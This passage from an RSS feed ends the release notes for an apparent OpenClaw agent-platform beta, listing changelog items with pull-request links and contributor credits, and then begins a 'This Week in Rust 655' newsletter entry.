data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92280/hovercard" href="https://github.com/openclaw/openclaw/pull/92280">#92280</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4642764231" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92231" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92231/hovercard" href="https://github.com/openclaw/openclaw/pull/92231">#92231</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4642650532" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92225" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92225/hovercard" href="https://github.com/openclaw/openclaw/pull/92225">#92225</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4639549319" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92144" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92144/hovercard" href="https://github.com/openclaw/openclaw/pull/92144">#92144</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tangtaizong666/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tangtaizong666">@tangtaizong666</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhbcher/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhbcher">@zhbcher</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mushuiyu886/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mushuiyu886">@mushuiyu886</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rubencu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rubencu">@rubencu</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liuhao1024/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liuhao1024">@liuhao1024</a>.</li>
<li>UI, docs, QA, Docker, and release proof are easier to trust: accessibility contrast/focus/font fixes landed, empty Workboard columns can hide, the design-system docs are documented, uptime monitors are pointed at <code>/health</code>, Windows Hub docs pin the verified stable installer links, QA evidence and scorecard taxonomy artifacts are produced, QA Lab is bundled into Docker images, and lifecycle timeout cleanup survives leader exit. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4579753872" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89822" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/89822/hovercard" href="https://github.com/openclaw/openclaw/pull/89822">#89822</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4575043875" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89615" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/89615/hovercard" href="https://github.com/openclaw/openclaw/pull/89615">#89615</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4579820191" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89827" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/89827/hovercard" href="https://github.com/openclaw/openclaw/pull/89827">#89827</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4152024659" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/55768" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/55768/hovercard" href="https://github.com/openclaw/openclaw/issues/55768">#55768</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4654528632" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92608" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92608/hovercard" href="https://github.com/openclaw/openclaw/pull/92608">#92608</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4654464241" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92605" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92605/hovercard" href="https://github.com/openclaw/openclaw/pull/92605">#92605</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4615695598" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91484" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91484/hovercard" href="https://github.com/openclaw/openclaw/pull/91484">#91484</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4616330184" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91500" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91500/hovercard" href="https://github.com/openclaw/openclaw/pull/91500">#91500</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4637140499" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92087" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92087/hovercard" href="https://github.com/openclaw/openclaw/pull/92087">#92087</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4653796993" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92566" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92566/hovercard" href="https://github.com/openclaw/openclaw/pull/92566">#92566</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/faahim/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/faahim">@faahim</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liuhao1024/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liuhao1024">@liuhao1024</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lzyyzznl/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lzyyzznl">@lzyyzznl</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RomneyDa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RomneyDa">@RomneyDa</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jesse-merhi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jesse-merhi">@jesse-merhi</a>.</li>
</ul>
<h3>Changes</h3>
<ul>
<li>QA and release validation now emit scorecard taxonomy and evidence artifacts, split plugin ClawHub publishing paths, use trusted plugin npm publishing, keep plugin publish checks authoritative, and align the root package, publishable plugin manifests, generated baselines, and native app versions for the 2026.6.7 beta train. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4615695598" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91484" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91484/hovercard" href="https://github.com/openclaw/openclaw/pull/91484">#91484</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4616330184" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91500" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91500/hovercard" href="https://github.com/openclaw/openclaw/pull/91500">#91500</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RomneyDa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RomneyDa">@RomneyDa</a>.</li>
<li>Docs and operator guidance now cover Gateway uptime monitoring, design-system guidance, Windows Hub stable download pins, removed stale ClawHub navigation, WhatsApp inbound compatibility, and doctor/update progress behavior. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4152024659" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/55768" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/55768/hovercard" href="https://github.com/openclaw/openclaw/issues/55768">#55768</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4654528632" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92608" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92608/hovercard" href="https://github.com/openclaw/openclaw/pull/92608">#92608</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4579820191" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89827" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/89827/hovercard" href="https://github.com/openclaw/openclaw/pull/89827">#89827</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4654464241" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92605" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92605/hovercard" href="https://github.com/openclaw/openclaw/pull/92605">#92605</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/faahim/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/faahim">@faahim</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liuhao1024/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liuhao1024">@liuhao1024</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lzyyzznl/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lzyyzznl">@lzyyzznl</a>.</li>
<li>Matrix plugin release metadata is aligned with the core beta train and records the version-alignment changelog entry for package publication.</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>Channels and outbound flows preserve user intent across Slack transcript mirrors, Telegram polling conflicts and transient draft-preview failures, outbound image sends, explicit silent assistant replies, progress-draft startup errors, paged action results, WhatsApp inbound aliases, local setup trust, and heartbeat commitment delivery. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4651011493" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92498" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92498/hovercard" href="https://github.com/openclaw/openclaw/pull/92498">#92498</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4644821392" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92281" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92281/hovercard" href="https://github.com/openclaw/openclaw/pull/92281">#92281</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4647947956" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92407" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/92407/hovercard" href="https://github.com/openclaw/openclaw/issues/92407">#92407</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4648112850" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92416" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92416/hovercard" href="https://github.com/openclaw/openclaw/pull/92416">#92416</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4636652642" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92073" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92073/hovercard" href="https://github.com/openclaw/openclaw/pull/92073">#92073</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4637046617" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92083" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92083/hovercard" href="https://github.com/openclaw/openclaw/pull/92083">#92083</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4561318320" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88993" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88993/hovercard" href="https://github.com/openclaw/openclaw/pull/88993">#88993</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4640644961" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92175" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92175/hovercard" href="https://github.com/openclaw/openclaw/pull/92175">#92175</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4642764231" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92231" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92231/hovercard" href="https://github.com/openclaw/openclaw/pull/92231">#92231</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ichirokyoto/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ichirokyoto">@ichirokyoto</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xydigit-sj/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xydigit-sj">@xydigit-sj</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sallyom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sallyom">@sallyom</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hansraj316/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hansraj316">@hansraj316</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>Provider, model, and tool replay fixes cover unreadable Mistral schemas, Fireworks manifest model parameters, Kimi K2.7 Code/tool-call/reasoning replay, DeepSeek transport inheritance, managed SecretRef auth, static model fallbacks, rejected Anthropic thinking replay, Anthropic Vertex cache control, and OTLP trace correlation. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4587073338" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90242" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90242/hovercard" href="https://github.com/openclaw/openclaw/pull/90242">#90242</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4588792805" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90326" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90326/hovercard" href="https://github.com/openclaw/openclaw/pull/90326">#90326</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4653375038" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92554" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92554/hovercard" href="https://github.com/openclaw/openclaw/pull/92554">#92554</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4647796985" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92396" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92396/hovercard" href="https://github.com/openclaw/openclaw/pull/92396">#92396</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4644256649" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92265" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92265/hovercard" href="https://github.com/openclaw/openclaw/pull/92265">#92265</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4642846507" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92235" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92235/hovercard" href="https://github.com/openclaw/openclaw/pull/92235">#92235</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4645050984" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92293" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92293/hovercard" href="https://github.com/openclaw/openclaw/pull/92293">#92293</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4644899244" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92286" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92286/hovercard" href="https://github.com/openclaw/openclaw/pull/92286">#92286</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4647497615" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92387" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92387/hovercard" href="https://github.com/openclaw/openclaw/pull/92387">#92387</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4644706827" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92276" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92276/hovercard" href="https://github.com/openclaw/openclaw/pull/92276">#92276</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/obuchowski/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/obuchowski">@obuchowski</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xialonglee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xialonglee">@xialonglee</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</li>
<li>Agent/runtime recovery now isolates invalid plugin model catalogs, preserves Codex memory prompt registration, continues after source message tool replies, classifies structured unsupported-model errors, reports QMD startup failures beside fallback errors, preserves cron timeout/cancel state, keeps disabled heartbeat one-shot retries working, and keeps Linux service auto-updates readable and handed off. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4653661275" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92564" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92564/hovercard" href="https://github.com/openclaw/openclaw/pull/92564">#92564</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4646627498" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92350" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92350/hovercard" href="https://github.com/openclaw/openclaw/pull/92350">#92350</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4646266965" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92343" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92343/hovercard" href="https://github.com/openclaw/openclaw/pull/92343">#92343</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4644781093" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92280" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92280/hovercard" href="https://github.com/openclaw/openclaw/pull/92280">#92280</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4642495610" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92218" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/92218/hovercard" href="https://github.com/openclaw/openclaw/issues/92218">#92218</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4654672627" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92618" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92618/hovercard" href="https://github.com/openclaw/openclaw/pull/92618">#92618</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4642650532" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92225" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92225/hovercard" href="https://github.com/openclaw/openclaw/pull/92225">#92225</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4644852252" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92282" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92282/hovercard" href="https://github.com/openclaw/openclaw/pull/92282">#92282</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4639549319" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92144" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92144/hovercard" href="https://github.com/openclaw/openclaw/pull/92144">#92144</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tangtaizong666/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tangtaizong666">@tangtaizong666</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rubencu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rubencu">@rubencu</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhbcher/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhbcher">@zhbcher</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mushuiyu886/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mushuiyu886">@mushuiyu886</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liuhao1024/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liuhao1024">@liuhao1024</a>.</li>
<li>Install, sandbox, doctor, and security surfaces render CLI skill prompts from materialized paths, fail closed for CLI-backed <code>/btw</code>, resolve doctor SecretRef previews, diagnose blocked external channel plugins, validate and gate Skill Workshop symlink writes, stop after failed Node package installs, and keep unsupported daemon service status readable. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4651606465" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92508" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92508/hovercard" href="https://github.com/openclaw/openclaw/pull/92508">#92508</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4642699320" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92226" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92226/hovercard" href="https://github.com/openclaw/openclaw/pull/92226">#92226</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4642762087" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92229" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92229/hovercard" href="https://github.com/openclaw/openclaw/pull/92229">#92229</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4519448966" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86629" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86629/hovercard" href="https://github.com/openclaw/openclaw/pull/86629">#86629</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>.</li>
<li>Release, CI, E2E, Docker, and dependency gates keep lifecycle timeout cleanup alive, bundle QA Lab runtime in Docker images, update the esbuild audit pin, harden Docker process cleanup, keep plugin publish checks authoritative, and remove noisy redundant proof scripts so release failures stay bounded. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4653796993" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92566" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92566/hovercard" href="https://github.com/openclaw/openclaw/pull/92566">#92566</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4637140499" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92087" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92087/hovercard" href="https://github.com/openclaw/openclaw/pull/92087">#92087</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4652923177" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92540" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92540/hovercard" href="https://github.com/openclaw/openclaw/pull/92540">#92540</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RomneyDa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RomneyDa">@RomneyDa</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jesse-merhi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jesse-merhi">@jesse-merhi</a>.</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[This Week In Rust: This Week in Rust 655]]></title>
<description><![CDATA[Hello and welcome to another issue of This Week in Rust!
Rust is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
@thisweekinrust.bsky.social on Bluesky or
@ThisWeekinRu...]]></description>
<link>https://tsecurity.de/de/3589813/tools/this-week-in-rust-this-week-in-rust-655/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3589813/tools/this-week-in-rust-this-week-in-rust-655/</guid>
<pubDate>Thu, 11 Jun 2026 10:13:12 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hello and welcome to another issue of <em>This Week in Rust</em>!
<a href="https://www.rust-lang.org/">Rust</a> is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
<a href="https://bsky.app/profile/thisweekinrust.bsky.social">@thisweekinrust.bsky.social</a> on Bluesky or
<a href="https://mastodon.social/@thisweekinrust">@ThisWeekinRust</a> on mastodon.social, or
<a href="https://github.com/rust-lang/this-week-in-rust">send us a pull request</a>.
Want to get involved? <a href="https://github.com/rust-lang/rust/blob/main/CONTRIBUTING.md">We love contributions</a>.</p>
<p><em>This Week in Rust</em> is openly developed <a href="https://github.com/rust-lang/this-week-in-rust">on GitHub</a> and archives can be viewed at <a href="https://this-week-in-rust.org/">this-week-in-rust.org</a>.
If you find any errors in this week's issue, <a href="https://github.com/rust-lang/this-week-in-rust/pulls">please submit a PR</a>.</p>
<p>Want TWIR in your inbox? <a href="https://this-week-in-rust.us11.list-manage.com/subscribe?u=fd84c1c757e02889a9b08d289&amp;id=0ed8b72485">Subscribe here</a>.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-rust-community">Updates from Rust Community</a></h4>


<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#official">Official</a></h5>
<ul>
<li><a href="https://blog.rust-lang.org/inside-rust/2026/06/04/how-josh-helps-rust-manage-code-across-multiple-repositories/">How Josh helps Rust manage code across multiple repositories</a></li>
<li><a href="https://blog.rust-lang.org/inside-rust/2026/06/03/maintainer-spotlight-tiffany-pek-yuan-tiif/">Maintainer spotlight: Tiffany Pek Yuan (@tiif)</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#newsletters">Newsletters</a></h5>
<ul>
<li><a href="https://rust-osdev.com/this-month/2026-05/">This Month in Rust OSDev: May 2026</a></li>
<li><a href="https://www.theembeddedrustacean.com/p/the-embedded-rustacean-issue-73">The Embedded Rustacean Issue #73</a></li>
</ul>
